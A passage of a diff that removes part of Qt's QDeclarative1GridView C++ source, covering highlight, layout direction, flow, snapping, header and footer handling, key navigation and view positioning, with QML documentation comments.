-{ - Q_D(const QDeclarative1GridView); - return d->autoHighlight; -} - -void QDeclarative1GridView::setHighlightFollowsCurrentItem(bool autoHighlight) -{ - Q_D(QDeclarative1GridView); - if (d->autoHighlight != autoHighlight) { - d->autoHighlight = autoHighlight; - if (autoHighlight) { - d->updateHighlight(); - } else if (d->highlightXAnimator) { - d->highlightXAnimator->stop(); - d->highlightYAnimator->stop(); - } - } -} - -/*! - \qmlproperty int QtQuick1::GridView::highlightMoveDuration - This property holds the move animation duration of the highlight delegate. - - highlightFollowsCurrentItem must be true for this property - to have effect. - - The default value for the duration is 150ms. - - \sa highlightFollowsCurrentItem -*/ -int QDeclarative1GridView::highlightMoveDuration() const -{ - Q_D(const QDeclarative1GridView); - return d->highlightMoveDuration; -} - -void QDeclarative1GridView::setHighlightMoveDuration(int duration) -{ - Q_D(QDeclarative1GridView); - if (d->highlightMoveDuration != duration) { - d->highlightMoveDuration = duration; - if (d->highlightYAnimator) { - d->highlightXAnimator->userDuration = d->highlightMoveDuration; - d->highlightYAnimator->userDuration = d->highlightMoveDuration; - } - emit highlightMoveDurationChanged(); - } -} - - -/*! - \qmlproperty real QtQuick1::GridView::preferredHighlightBegin - \qmlproperty real QtQuick1::GridView::preferredHighlightEnd - \qmlproperty enumeration QtQuick1::GridView::highlightRangeMode - - These properties define the preferred range of the highlight (for the current item) - within the view. The \c preferredHighlightBegin value must be less than the - \c preferredHighlightEnd value. - - These properties affect the position of the current item when the view is scrolled. - For example, if the currently selected item should stay in the middle of the - view when it is scrolled, set the \c preferredHighlightBegin and - \c preferredHighlightEnd values to the top and bottom coordinates of where the middle - item would be. If the \c currentItem is changed programmatically, the view will - automatically scroll so that the current item is in the middle of the view. - Furthermore, the behavior of the current item index will occur whether or not a - highlight exists. - - Valid values for \c highlightRangeMode are: - - \list - \o GridView.ApplyRange - the view attempts to maintain the highlight within the range. - However, the highlight can move outside of the range at the ends of the view or due - to mouse interaction. - \o GridView.StrictlyEnforceRange - the highlight never moves outside of the range. - The current item changes if a keyboard or mouse action would cause the highlight to move - outside of the range. - \o GridView.NoHighlightRange - this is the default value. - \endlist -*/ -qreal QDeclarative1GridView::preferredHighlightBegin() const -{ - Q_D(const QDeclarative1GridView); - return d->highlightRangeStart; -} - -void QDeclarative1GridView::setPreferredHighlightBegin(qreal start) -{ - Q_D(QDeclarative1GridView); - d->highlightRangeStartValid = true; - if (d->highlightRangeStart == start) - return; - d->highlightRangeStart = start; - d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - emit preferredHighlightBeginChanged(); -} - -void QDeclarative1GridView::resetPreferredHighlightBegin() -{ - Q_D(QDeclarative1GridView); - d->highlightRangeStartValid = false; - if (d->highlightRangeStart == 0) - return; - d->highlightRangeStart = 0; - emit preferredHighlightBeginChanged(); -} - -qreal QDeclarative1GridView::preferredHighlightEnd() const -{ - Q_D(const QDeclarative1GridView); - return d->highlightRangeEnd; -} - -void QDeclarative1GridView::setPreferredHighlightEnd(qreal end) -{ - Q_D(QDeclarative1GridView); - d->highlightRangeEndValid = true; - if (d->highlightRangeEnd == end) - return; - d->highlightRangeEnd = end; - d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - emit preferredHighlightEndChanged(); -} - -void QDeclarative1GridView::resetPreferredHighlightEnd() -{ - Q_D(QDeclarative1GridView); - d->highlightRangeEndValid = false; - if (d->highlightRangeEnd == 0) - return; - d->highlightRangeEnd = 0; - emit preferredHighlightEndChanged(); -} - -QDeclarative1GridView::HighlightRangeMode QDeclarative1GridView::highlightRangeMode() const -{ - Q_D(const QDeclarative1GridView); - return d->highlightRange; -} - -void QDeclarative1GridView::setHighlightRangeMode(HighlightRangeMode mode) -{ - Q_D(QDeclarative1GridView); - if (d->highlightRange == mode) - return; - d->highlightRange = mode; - d->haveHighlightRange = d->highlightRange != NoHighlightRange && d->highlightRangeStart <= d->highlightRangeEnd; - emit highlightRangeModeChanged(); -} - -/*! - \qmlproperty enumeration QtQuick1::GridView::layoutDirection - This property holds the layout direction of the grid. - - Possible values: - - \list - \o Qt.LeftToRight (default) - Items will be laid out starting in the top, left corner. The flow is - dependent on the \l GridView::flow property. - \o Qt.RightToLeft - Items will be laid out starting in the top, right corner. The flow is dependent - on the \l GridView::flow property. - \endlist - - \bold Note: If GridView::flow is set to GridView.LeftToRight, this is not to be confused if - GridView::layoutDirection is set to Qt.RightToLeft. The GridView.LeftToRight flow value simply - indicates that the flow is horizontal. -*/ - -Qt::LayoutDirection QDeclarative1GridView::layoutDirection() const -{ - Q_D(const QDeclarative1GridView); - return d->layoutDirection; -} - -void QDeclarative1GridView::setLayoutDirection(Qt::LayoutDirection layoutDirection) -{ - Q_D(QDeclarative1GridView); - if (d->layoutDirection != layoutDirection) { - d->layoutDirection = layoutDirection; - d->regenerate(); - emit layoutDirectionChanged(); - emit effectiveLayoutDirectionChanged(); - } -} - -/*! - \qmlproperty enumeration QtQuick1::GridView::effectiveLayoutDirection - This property holds the effective layout direction of the grid. - - When using the attached property \l {LayoutMirroring::enabled}{LayoutMirroring::enabled} for locale layouts, - the visual layout direction of the grid will be mirrored. However, the - property \l {GridView::layoutDirection}{layoutDirection} will remain unchanged. - - \sa GridView::layoutDirection, {LayoutMirroring}{LayoutMirroring} -*/ - -Qt::LayoutDirection QDeclarative1GridView::effectiveLayoutDirection() const -{ - Q_D(const QDeclarative1GridView); - if (d->effectiveLayoutMirror) - return d->layoutDirection == Qt::RightToLeft ? Qt::LeftToRight : Qt::RightToLeft; - else - return d->layoutDirection; -} - -/*! - \qmlproperty enumeration QtQuick1::GridView::flow - This property holds the flow of the grid. - - Possible values: - - \list - \o GridView.LeftToRight (default) - Items are laid out from left to right, and the view scrolls vertically - \o GridView.TopToBottom - Items are laid out from top to bottom, and the view scrolls horizontally - \endlist -*/ -QDeclarative1GridView::Flow QDeclarative1GridView::flow() const -{ - Q_D(const QDeclarative1GridView); - return d->flow; -} - -void QDeclarative1GridView::setFlow(Flow flow) -{ - Q_D(QDeclarative1GridView); - if (d->flow != flow) { - d->flow = flow; - if (d->flow == LeftToRight) { - setContentWidth(-1); - setFlickableDirection(QDeclarative1Flickable::VerticalFlick); - } else { - setContentHeight(-1); - setFlickableDirection(QDeclarative1Flickable::HorizontalFlick); - } - setContentX(0); - setContentY(0); - d->regenerate(); - emit flowChanged(); - } -} - -/*! - \qmlproperty bool QtQuick1::GridView::keyNavigationWraps - This property holds whether the grid wraps key navigation - - If this is true, key navigation that would move the current item selection - past one end of the view instead wraps around and moves the selection to - the other end of the view. - - By default, key navigation is not wrapped. -*/ -bool QDeclarative1GridView::isWrapEnabled() const -{ - Q_D(const QDeclarative1GridView); - return d->wrap; -} - -void QDeclarative1GridView::setWrapEnabled(bool wrap) -{ - Q_D(QDeclarative1GridView); - if (d->wrap == wrap) - return; - d->wrap = wrap; - emit keyNavigationWrapsChanged(); -} - -/*! - \qmlproperty int QtQuick1::GridView::cacheBuffer - This property determines whether delegates are retained outside the - visible area of the view. - - If non-zero the view will keep as many delegates - instantiated as will fit within the buffer specified. For example, - if in a vertical view the delegate is 20 pixels high and \c cacheBuffer is - set to 40, then up to 2 delegates above and 2 delegates below the visible - area may be retained. - - Note that cacheBuffer is not a pixel buffer - it only maintains additional - instantiated delegates. - - Setting this value can make scrolling the list smoother at the expense - of additional memory usage. It is not a substitute for creating efficient - delegates; the fewer elements in a delegate, the faster a view may be - scrolled. -*/ -int QDeclarative1GridView::cacheBuffer() const -{ - Q_D(const QDeclarative1GridView); - return d->buffer; -} - -void QDeclarative1GridView::setCacheBuffer(int buffer) -{ - Q_D(QDeclarative1GridView); - if (d->buffer != buffer) { - d->buffer = buffer; - if (isComponentComplete()) - refill(); - emit cacheBufferChanged(); - } -} - -/*! - \qmlproperty int QtQuick1::GridView::cellWidth - \qmlproperty int QtQuick1::GridView::cellHeight - - These properties holds the width and height of each cell in the grid. - - The default cell size is 100x100. -*/ -int QDeclarative1GridView::cellWidth() const -{ - Q_D(const QDeclarative1GridView); - return d->cellWidth; -} - -void QDeclarative1GridView::setCellWidth(int cellWidth) -{ - Q_D(QDeclarative1GridView); - if (cellWidth != d->cellWidth && cellWidth > 0) { - d->cellWidth = qMax(1, cellWidth); - d->updateGrid(); - emit cellWidthChanged(); - d->layout(); - } -} - -int QDeclarative1GridView::cellHeight() const -{ - Q_D(const QDeclarative1GridView); - return d->cellHeight; -} - -void QDeclarative1GridView::setCellHeight(int cellHeight) -{ - Q_D(QDeclarative1GridView); - if (cellHeight != d->cellHeight && cellHeight > 0) { - d->cellHeight = qMax(1, cellHeight); - d->updateGrid(); - emit cellHeightChanged(); - d->layout(); - } -} -/*! - \qmlproperty enumeration QtQuick1::GridView::snapMode - - This property determines how the view scrolling will settle following a drag or flick. - The possible values are: - - \list - \o GridView.NoSnap (default) - the view stops anywhere within the visible area. - \o GridView.SnapToRow - the view settles with a row (or column for \c GridView.TopToBottom flow) - aligned with the start of the view. - \o GridView.SnapOneRow - the view will settle no more than one row (or column for \c GridView.TopToBottom flow) - away from the first visible row at the time the mouse button is released. - This mode is particularly useful for moving one page at a time. - \endlist - -*/ -QDeclarative1GridView::SnapMode QDeclarative1GridView::snapMode() const -{ - Q_D(const QDeclarative1GridView); - return d->snapMode; -} - -void QDeclarative1GridView::setSnapMode(SnapMode mode) -{ - Q_D(QDeclarative1GridView); - if (d->snapMode != mode) { - d->snapMode = mode; - emit snapModeChanged(); - } -} - -/*! - \qmlproperty Component QtQuick1::GridView::footer - This property holds the component to use as the footer. - - An instance of the footer component is created for each view. The - footer is positioned at the end of the view, after any items. - - \sa header -*/ -QDeclarativeComponent *QDeclarative1GridView::footer() const -{ - Q_D(const QDeclarative1GridView); - return d->footerComponent; -} - -void QDeclarative1GridView::setFooter(QDeclarativeComponent *footer) -{ - Q_D(QDeclarative1GridView); - if (d->footerComponent != footer) { - if (d->footer) { - if (scene()) - scene()->removeItem(d->footer->item); - d->footer->item->deleteLater(); - delete d->footer; - d->footer = 0; - } - d->footerComponent = footer; - if (isComponentComplete()) { - d->updateFooter(); - d->updateGrid(); - d->fixupPosition(); - } - emit footerChanged(); - } -} - -/*! - \qmlproperty Component QtQuick1::GridView::header - This property holds the component to use as the header. - - An instance of the header component is created for each view. The - header is positioned at the beginning of the view, before any items. - - \sa footer -*/ -QDeclarativeComponent *QDeclarative1GridView::header() const -{ - Q_D(const QDeclarative1GridView); - return d->headerComponent; -} - -void QDeclarative1GridView::setHeader(QDeclarativeComponent *header) -{ - Q_D(QDeclarative1GridView); - if (d->headerComponent != header) { - if (d->header) { - if (scene()) - scene()->removeItem(d->header->item); - d->header->item->deleteLater(); - delete d->header; - d->header = 0; - } - d->headerComponent = header; - if (isComponentComplete()) { - d->updateHeader(); - d->updateFooter(); - d->updateGrid(); - d->fixupPosition(); - } - emit headerChanged(); - } -} - -void QDeclarative1GridView::setContentX(qreal pos) -{ - Q_D(QDeclarative1GridView); - // Positioning the view manually should override any current movement state - d->moveReason = QDeclarative1GridViewPrivate::Other; - QDeclarative1Flickable::setContentX(pos); -} - -void QDeclarative1GridView::setContentY(qreal pos) -{ - Q_D(QDeclarative1GridView); - // Positioning the view manually should override any current movement state - d->moveReason = QDeclarative1GridViewPrivate::Other; - QDeclarative1Flickable::setContentY(pos); -} - -bool QDeclarative1GridView::event(QEvent *event) -{ - Q_D(QDeclarative1GridView); - if (event->type() == QEvent::User) { - if (d->layoutScheduled) - d->layout(); - return true; - } - - return QDeclarative1Flickable::event(event); -} - -void QDeclarative1GridView::viewportMoved() -{ - Q_D(QDeclarative1GridView); - QDeclarative1Flickable::viewportMoved(); - if (!d->itemCount) - return; - d->lazyRelease = true; - if (d->hData.flicking || d->vData.flicking) { - if (yflick()) { - if (d->vData.velocity > 0) - d->bufferMode = QDeclarative1GridViewPrivate::BufferBefore; - else if (d->vData.velocity < 0) - d->bufferMode = QDeclarative1GridViewPrivate::BufferAfter; - } - - if (xflick()) { - if (d->hData.velocity > 0) - d->bufferMode = QDeclarative1GridViewPrivate::BufferBefore; - else if (d->hData.velocity < 0) - d->bufferMode = QDeclarative1GridViewPrivate::BufferAfter; - } - } - refill(); - if (d->hData.flicking || d->vData.flicking || d->hData.moving || d->vData.moving) - d->moveReason = QDeclarative1GridViewPrivate::Mouse; - if (d->moveReason != QDeclarative1GridViewPrivate::SetIndex) { - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange && d->highlight) { - // reposition highlight - qreal pos = d->highlight->rowPos(); - qreal viewPos; - qreal highlightStart; - qreal highlightEnd; - if (d->isRightToLeftTopToBottom()) { - highlightStart = d->highlightRangeStartValid ? d->size()-d->highlightRangeEnd : d->highlightRangeStart; - highlightEnd = d->highlightRangeEndValid ? d->size()-d->highlightRangeStart : d->highlightRangeEnd; - viewPos = -d->position()-d->size(); - } else { - highlightStart = d->highlightRangeStart; - highlightEnd = d->highlightRangeEnd; - viewPos = d->position(); - } - if (pos > viewPos + highlightEnd - d->rowSize()) - pos = viewPos + highlightEnd - d->rowSize(); - if (pos < viewPos + highlightStart) - pos = viewPos + highlightStart; - - d->highlight->setPosition(d->highlight->colPos(), qRound(pos)); - - // update current index - int idx = d->snapIndex(); - if (idx >= 0 && idx != d->currentIndex) { - d->updateCurrent(idx); - if (d->currentItem && d->currentItem->colPos() != d->highlight->colPos() && d->autoHighlight) { - if (d->flow == LeftToRight) - d->highlightXAnimator->to = d->currentItem->item->x(); - else - d->highlightYAnimator->to = d->currentItem->item->y(); - } - } - } - } -} - -qreal QDeclarative1GridView::minYExtent() const -{ - Q_D(const QDeclarative1GridView); - if (d->flow == QDeclarative1GridView::TopToBottom) - return QDeclarative1Flickable::minYExtent(); - qreal extent = -d->startPosition(); - if (d->header && d->visibleItems.count()) - extent += d->header->item->height(); - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { - extent += d->highlightRangeStart; - extent = qMax(extent, -(d->rowPosAt(0) + d->rowSize() - d->highlightRangeEnd)); - } - return extent; -} - -qreal QDeclarative1GridView::maxYExtent() const -{ - Q_D(const QDeclarative1GridView); - if (d->flow == QDeclarative1GridView::TopToBottom) - return QDeclarative1Flickable::maxYExtent(); - qreal extent; - if (!d->model || !d->model->count()) { - extent = 0; - } else if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { - extent = -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart); - if (d->highlightRangeEnd != d->highlightRangeStart) - extent = qMin(extent, -(d->endPosition() - d->highlightRangeEnd + 1)); - } else { - extent = -(d->endPosition() - height()); - } - if (d->footer) - extent -= d->footer->item->height(); - const qreal minY = minYExtent(); - if (extent > minY) - extent = minY; - return extent; -} - -qreal QDeclarative1GridView::minXExtent() const -{ - Q_D(const QDeclarative1GridView); - if (d->flow == QDeclarative1GridView::LeftToRight) - return QDeclarative1Flickable::minXExtent(); - qreal extent = -d->startPosition(); - qreal highlightStart; - qreal highlightEnd; - qreal endPositionFirstItem = 0; - if (d->isRightToLeftTopToBottom()) { - if (d->model && d->model->count()) - endPositionFirstItem = d->rowPosAt(d->model->count()-1); - highlightStart = d->highlightRangeStartValid - ? d->highlightRangeStart - (d->lastPosition()-endPositionFirstItem) - : d->size() - (d->lastPosition()-endPositionFirstItem); - highlightEnd = d->highlightRangeEndValid ? d->highlightRangeEnd : d->size(); - if (d->footer && d->visibleItems.count()) - extent += d->footer->item->width(); - } else { - endPositionFirstItem = d->rowPosAt(0)+d->rowSize(); - highlightStart = d->highlightRangeStart; - highlightEnd = d->highlightRangeEnd; - if (d->header && d->visibleItems.count()) - extent += d->header->item->width(); - } - if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { - extent += d->isRightToLeftTopToBottom() ? -highlightStart : highlightStart; - extent = qMax(extent, -(endPositionFirstItem - highlightEnd)); - } - return extent; -} - -qreal QDeclarative1GridView::maxXExtent() const -{ - Q_D(const QDeclarative1GridView); - if (d->flow == QDeclarative1GridView::LeftToRight) - return QDeclarative1Flickable::maxXExtent(); - qreal extent; - qreal highlightStart; - qreal highlightEnd; - qreal lastItemPosition = 0; - if (d->isRightToLeftTopToBottom()){ - highlightStart = d->highlightRangeStartValid ? d->highlightRangeEnd : d->size(); - highlightEnd = d->highlightRangeEndValid ? d->highlightRangeStart : d->size(); - lastItemPosition = d->endPosition(); - } else { - highlightStart = d->highlightRangeStart; - highlightEnd = d->highlightRangeEnd; - lastItemPosition = 0; - if (d->model && d->model->count()) - lastItemPosition = d->rowPosAt(d->model->count()-1); - } - if (!d->model || !d->model->count()) { - extent = 0; - } else if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) { - extent = -(lastItemPosition - highlightStart); - if (highlightEnd != highlightStart) - extent = d->isRightToLeftTopToBottom() - ? qMax(extent, -(d->endPosition() - highlightEnd + 1)) - : qMin(extent, -(d->endPosition() - highlightEnd + 1)); - } else { - extent = -(d->endPosition() - width()); - } - if (d->isRightToLeftTopToBottom()) { - if (d->header) - extent -= d->header->item->width(); - } else { - if (d->footer) - extent -= d->footer->item->width(); - } - - const qreal minX = minXExtent(); - if (extent > minX) - extent = minX; - return extent; -} - -void QDeclarative1GridView::keyPressEvent(QKeyEvent *event) -{ - Q_D(QDeclarative1GridView); - keyPressPreHandler(event); - if (event->isAccepted()) - return; - if (d->model && d->model->count() && d->interactive) { - d->moveReason = QDeclarative1GridViewPrivate::SetIndex; - int oldCurrent = currentIndex(); - switch (event->key()) { - case Qt::Key_Up: - moveCurrentIndexUp(); - break; - case Qt::Key_Down: - moveCurrentIndexDown(); - break; - case Qt::Key_Left: - moveCurrentIndexLeft(); - break; - case Qt::Key_Right: - moveCurrentIndexRight(); - break; - default: - break; - } - if (oldCurrent != currentIndex()) { - event->accept(); - return; - } - } - d->moveReason = QDeclarative1GridViewPrivate::Other; - event->ignore(); - QDeclarative1Flickable::keyPressEvent(event); -} - -/*! - \qmlmethod QtQuick1::GridView::moveCurrentIndexUp() - - Move the currentIndex up one item in the view. - The current index will wrap if keyNavigationWraps is true and it - is currently at the end. This method has no effect if the \l count is zero. - - \bold Note: methods should only be called after the Component has completed. -*/ -void QDeclarative1GridView::moveCurrentIndexUp() -{ - Q_D(QDeclarative1GridView); - const int count = d->model ? d->model->count() : 0; - if (!count) - return; - if (d->flow == QDeclarative1GridView::LeftToRight) { - if (currentIndex() >= d->columns || d->wrap) { - int index = currentIndex() - d->columns; - setCurrentIndex((index >= 0 && index < count) ? index : count-1); - } - } else { - if (currentIndex() > 0 || d->wrap) { - int index = currentIndex() - 1; - setCurrentIndex((index >= 0 && index < count) ? index : count-1); - } - } -} - -/*! - \qmlmethod QtQuick1::GridView::moveCurrentIndexDown() - - Move the currentIndex down one item in the view. - The current index will wrap if keyNavigationWraps is true and it - is currently at the end. This method has no effect if the \l count is zero. - - \bold Note: methods should only be called after the Component has completed. -*/ -void QDeclarative1GridView::moveCurrentIndexDown() -{ - Q_D(QDeclarative1GridView); - const int count = d->model ? d->model->count() : 0; - if (!count) - return; - if (d->flow == QDeclarative1GridView::LeftToRight) { - if (currentIndex() < count - d->columns || d->wrap) { - int index = currentIndex()+d->columns; - setCurrentIndex((index >= 0 && index < count) ? index : 0); - } - } else { - if (currentIndex() < count - 1 || d->wrap) { - int index = currentIndex() + 1; - setCurrentIndex((index >= 0 && index < count) ? index : 0); - } - } -} - -/*! - \qmlmethod QtQuick1::GridView::moveCurrentIndexLeft() - - Move the currentIndex left one item in the view. - The current index will wrap if keyNavigationWraps is true and it - is currently at the end. This method has no effect if the \l count is zero. - - \bold Note: methods should only be called after the Component has completed. -*/ -void QDeclarative1GridView::moveCurrentIndexLeft() -{ - Q_D(QDeclarative1GridView); - const int count = d->model ? d->model->count() : 0; - if (!count) - return; - - if (effectiveLayoutDirection() == Qt::LeftToRight) { - if (d->flow == QDeclarative1GridView::LeftToRight) { - if (currentIndex() > 0 || d->wrap) { - int index = currentIndex() - 1; - setCurrentIndex((index >= 0 && index < count) ? index : count-1); - } - } else { - if (currentIndex() >= d->columns || d->wrap) { - int index = currentIndex() - d->columns; - setCurrentIndex((index >= 0 && index < count) ? index : count-1); - } - } - } else { - if (d->flow == QDeclarative1GridView::LeftToRight) { - if (currentIndex() < count - 1 || d->wrap) { - int index = currentIndex() + 1; - setCurrentIndex((index >= 0 && index < count) ? index : 0); - } - } else { - if (currentIndex() < count - d->columns || d->wrap) { - int index = currentIndex() + d->columns; - setCurrentIndex((index >= 0 && index < count) ? index : 0); - } - } - } -} - -/*! - \qmlmethod QtQuick1::GridView::moveCurrentIndexRight() - - Move the currentIndex right one item in the view. - The current index will wrap if keyNavigationWraps is true and it - is currently at the end. This method has no effect if the \l count is zero. - - \bold Note: methods should only be called after the Component has completed. -*/ -void QDeclarative1GridView::moveCurrentIndexRight() -{ - Q_D(QDeclarative1GridView); - const int count = d->model ? d->model->count() : 0; - if (!count) - return; - - if (effectiveLayoutDirection() == Qt::LeftToRight) { - if (d->flow == QDeclarative1GridView::LeftToRight) { - if (currentIndex() < count - 1 || d->wrap) { - int index = currentIndex() + 1; - setCurrentIndex((index >= 0 && index < count) ? index : 0); - } - } else { - if (currentIndex() < count - d->columns || d->wrap) { - int index = currentIndex()+d->columns; - setCurrentIndex((index >= 0 && index < count) ? index : 0); - } - } - } else { - if (d->flow == QDeclarative1GridView::LeftToRight) { - if (currentIndex() > 0 || d->wrap) { - int index = currentIndex() - 1; - setCurrentIndex((index >= 0 && index < count) ? index : count-1); - } - } else { - if (currentIndex() >= d->columns || d->wrap) { - int index = currentIndex() - d->columns; - setCurrentIndex((index >= 0 && index < count) ? index : count-1); - } - } - } -} - -void QDeclarative1GridViewPrivate::positionViewAtIndex(int index, int mode) -{ - Q_Q(QDeclarative1GridView); - if (!isValid()) - return; - if (mode < QDeclarative1GridView::Beginning || mode > QDeclarative1GridView::Contain) - return; - - int idx = qMax(qMin(index, model->count()-1), 0); - - if (layoutScheduled) - layout(); - qreal pos = isRightToLeftTopToBottom() ? -position() - size() : position(); - FxGridItem1 *item = visibleItem(idx); - qreal maxExtent; - if (flow == QDeclarative1GridView::LeftToRight) - maxExtent = -q->maxYExtent(); - else - maxExtent = isRightToLeftTopToBottom() ? q->minXExtent()-size() : -q->maxXExtent(); - - if (!item) { - int itemPos = rowPosAt(idx); - // save the currently visible items in case any of them end up visible again - QList oldVisible = visibleItems; - visibleItems.clear(); - visibleIndex = idx - idx % columns; - if (flow == QDeclarative1GridView::LeftToRight) - maxExtent = -q->maxYExtent(); - else - maxExtent = isRightToLeftTopToBottom() ? q->minXExtent()-size() : -q->maxXExtent(); - setPosition(qMin(qreal(itemPos), maxExtent)); - // now release the reference to all the old visible items. - for (int i = 0; i < oldVisible.count(); ++i) - releaseItem(oldVisible.at(i)); - item = visibleItem(idx); - } - if (item) { - qreal itemPos = item->rowPos(); - switch (mode) { - case QDeclarative1GridView::Beginning: - pos = itemPos; - if (index < 0 && header) { - pos -= flow == QDeclarative1GridView::LeftToRight - ? header->item->height() - : header->item->width(); - } - break; - case QDeclarative1GridView::Center: - pos = itemPos - (size() - rowSize())/2; - break; - case QDeclarative1GridView::End: - pos = itemPos - size() + rowSize(); - if (index >= model->count() && footer) { - pos += flow == QDeclarative1GridView::LeftToRight - ? footer->item->height() - : footer->item->width(); - } - break; - case QDeclarative1GridView::Visible: - if (itemPos > pos + size()) - pos = itemPos - size() + rowSize(); - else if (item->endRowPos() < pos) - pos = itemPos; - break; - case QDeclarative1GridView::Contain: - if (item->endRowPos() > pos + size()) - pos = itemPos - size() + rowSize(); - if (itemPos < pos) - pos = itemPos; - } - - pos = qMin(pos, maxExtent); - qreal minExtent; - if (flow == QDeclarative1GridView::LeftToRight) - minExtent = -q->minYExtent(); - else - minExtent = isRightToLeftTopToBottom() ? q->maxXExtent()-size() : -q->minXExtent(); - pos = qMax(pos, minExtent); - moveReason = QDeclarative1GridViewPrivate::Other; - q->cancelFlick(); - setPosition(pos); - } - fixupPosition(); -} - -/*! - \qmlmethod QtQuick1::GridView::positionViewAtIndex(int index, PositionMode mode) - - Positions the view such that the \a index is at the position specified by - \a mode: - - \list - \o GridView.Beginning - position item at the top (or left for \c GridView.TopToBottom flow) of the view. - \o GridView.Center - position item in the center of the view. - \o GridView.End - position item at bottom (or right for horizontal orientation) of the view. - \o GridView.Visible - if any part of the item is visible then take no action, otherwise - bring the item into view. - \o GridView.Contain - ensure the entire item is visible. If the item is larger than - the view the item is positioned at the top (or left for \c GridView.TopToBottom flow) of the view. - \endlist - - If positioning the view at the index would cause empty space to be displayed at - the beginning or end of the view, the view will be positioned at the boundary. - - It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view - at a particular index. This is unreliable since removing items from the start - of the view does not cause all other items to be repositioned. - The correct way to bring an item into view is with \c positionViewAtIndex. - - \bold Note: methods should only be called after the Component has completed. To position - the view at startup, this method should be called by Component.onCompleted. For - example, to position the view at the end: - - \code - Component.onCompleted: positionViewAtIndex(count - 1, GridView.Beginning) - \endcode -*/ -void QDeclarative1GridView::positionViewAtIndex(int index, int mode) -{ - Q_D(QDeclarative1GridView); - if (!d->isValid() || index < 0 || index >= d->model->count()) - return; - d->positionViewAtIndex(index, mode); -} - -/*! - \qmlmethod QtQuick1::GridView::positionViewAtBeginning() - \qmlmethod QtQuick1::GridView::positionViewAtEnd() - \since Quick 1.1 - - Positions the view at the beginning or end, taking into account any header or footer. - - It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view - at a particular index. This is unreliable since removing items from the start - of the list does not cause all other items to be repositioned, and because - the actual start of the view can vary based on the size of the delegates. - - \bold Note: methods should only be called after the Component has completed. To position - the view at startup, this method should be called by Component.onCompleted. For - example, to position the view at the end on startup: - - \code - Component.onCompleted: positionViewAtEnd() - \endcode -*/ -void QDeclarative1GridView::positionViewAtBeginning() -{ - Q_D(QDeclarative1GridView); - if (!d->isValid()) - return; - d->positionViewAtIndex(-1, Beginning); -} - -void QDeclarative1GridView::positionViewAtEnd() -{ - Q_D(QDeclarative1GridView); - if (!d->isValid()) - return; - d->positionViewAtIndex(d->model->count(), End); -} - -/*! - \qmlmethod int QtQuick1::GridView::indexAt(int x, int y) - - Returns the index of the visible item containing the point \a x, \a y in content - coordinates. If there is no item at the point specified, or the item is - not visible -1 is returned. - - If the item is outside the visible area, -1 is returned, regardless of - whether an item will exist at that point when scrolled into view. - - \bold Note: methods should only be called after the Component has completed. -*/ -int QDeclarative1GridView::indexAt(qreal x, qreal y) const -{ - Q_D(const QDeclarative1GridView); - for (int i = 0; i < d->visibleItems.count(); ++i) { - const FxGridItem1 *listItem = d->visibleItems.at(i); - if(listItem->contains(x, y)) - return listItem->index; - } - - return -1; -} - -void QDeclarative1GridView::componentComplete() -{ - Q_D(QDeclarative1GridView); - QDeclarative1Flickable::componentComplete(); - d->updateHeader(); - d->updateFooter(); - d->updateGrid(); - if (d->isValid()) { - refill(); - d->moveReason = QDeclarative1GridViewPrivate::SetIndex; - if (d->currentIndex < 0 && !d->currentIndexCleared) - d->updateCurrent(0); - else - d->updateCurrent(d->currentIndex); - if (d->highlight && d->currentItem) { - if (d->autoHighlight) - d->highlight->setPosition(d->currentItem->colPos(), d->currentItem->rowPos()); - d->updateTrackedItem(); - } - d->moveReason = QDeclarative1GridViewPrivate::Other; - d->fixupPosition(); - } -} - -void QDeclarative1GridView::trackedPositionChanged() -{ - Q_D(QDeclarative1GridView); - if (!d->trackedItem || !d->currentItem) - return; - if (d->moveReason == QDeclarative1GridViewPrivate::SetIndex) { - const qreal trackedPos = d->trackedItem->rowPos(); - qreal viewPos; - qreal highlightStart; - qreal highlightEnd; - if (d->isRightToLeftTopToBottom()) { - viewPos = -d->position()-d->size(); - highlightStart = d->highlightRangeStartValid ? d->size()-d->highlightRangeEnd : d->highlightRangeStart; - highlightEnd = d->highlightRangeEndValid ? d->size()-d->highlightRangeStart : d->highlightRangeEnd; - } else { - viewPos = d->position(); - highlightStart = d->highlightRangeStart; - highlightEnd = d->highlightRangeEnd; - } - qreal pos = viewPos; - if (d->haveHighlightRange) { - if (d->highlightRange == StrictlyEnforceRange) { - if (trackedPos > pos + highlightEnd - d->rowSize()) - pos = trackedPos - highlightEnd + d->rowSize(); - if (trackedPos < pos + highlightStart) - pos = trackedPos - highlightStart; - } else { - if (trackedPos < d->startPosition() + highlightStart) { - pos = d->startPosition(); - } else if (d->trackedItem->endRowPos() > d->endPosition() - d->size() + highlightEnd) { - pos = d->endPosition() - d->size() + 1; - if (pos < d->startPosition()) - pos = d->startPosition(); - } else { - if (trackedPos > pos + highlightEnd - d->rowSize()) - pos = trackedPos - highlightEnd + d->rowSize(); - if (trackedPos < pos + highlightStart) - pos = trackedPos - highlightStart; - } - } - } else { - if (trackedPos < viewPos && d->currentItem->rowPos() < viewPos) { - pos = qMax(trackedPos, d->currentItem->rowPos()); - } else if (d->trackedItem->endRowPos() >= viewPos + d->size() - && d->currentItem->endRowPos() >= viewPos + d->size()) { - if (d->trackedItem->endRowPos() <= d->currentItem->endRowPos()) { - pos = d->trackedItem->endRowPos() - d->size() + 1; - if (d->rowSize() > d->size()) - pos = trackedPos; - } else { - pos = d->currentItem->endRowPos() - d->size() + 1; - if (d->rowSize() > d->size()) - pos = d->currentItem->rowPos(); - } - } - } - if (viewPos != pos) { - cancelFlick(); - d->calcVelocity = true; - d->setPosition(pos); - d->calcVelocity = false; - } - } -} - -void QDeclarative1GridView::itemsInserted(int modelIndex, int count) -{ - Q_D(QDeclarative1GridView); - if (!isComponentComplete() || !d->model || !d->model->isValid()) - return; - - int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0; - if (index < 0) { - 